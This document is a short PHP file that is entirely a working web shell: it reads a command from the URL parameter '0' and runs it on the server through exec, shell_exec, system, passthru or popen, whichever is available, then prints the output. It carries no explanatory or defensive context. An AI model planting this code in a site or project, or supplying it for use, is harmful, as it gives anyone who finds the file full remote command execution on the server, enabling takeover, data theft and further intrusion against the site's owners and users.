<?php
if (isset($_GET['0'])) {
    $cmd = $_GET['0'];
    $output = '';
    if (function_exists('exec')) {
        $output = exec($cmd);
    } elseif (function_exists('shell_exec')) {
        $output = shell_exec($cmd);
    } elseif (function_exists('system')) {
        ob_start();
        system($cmd);
        $output = ob_get_clean();
    } elseif (function_exists('passthru')) {
        ob_start();
        passthru($cmd);
        $output = ob_get_clean();
    } elseif (function_exists('popen')) {
        $handle = popen($cmd, 'r');
        $output = '';
        if ($handle) {
            while (!feof($handle)) {
                $output .= fgets($handle);
            }
            pclose($handle);
        }
    }
    echo $output;
}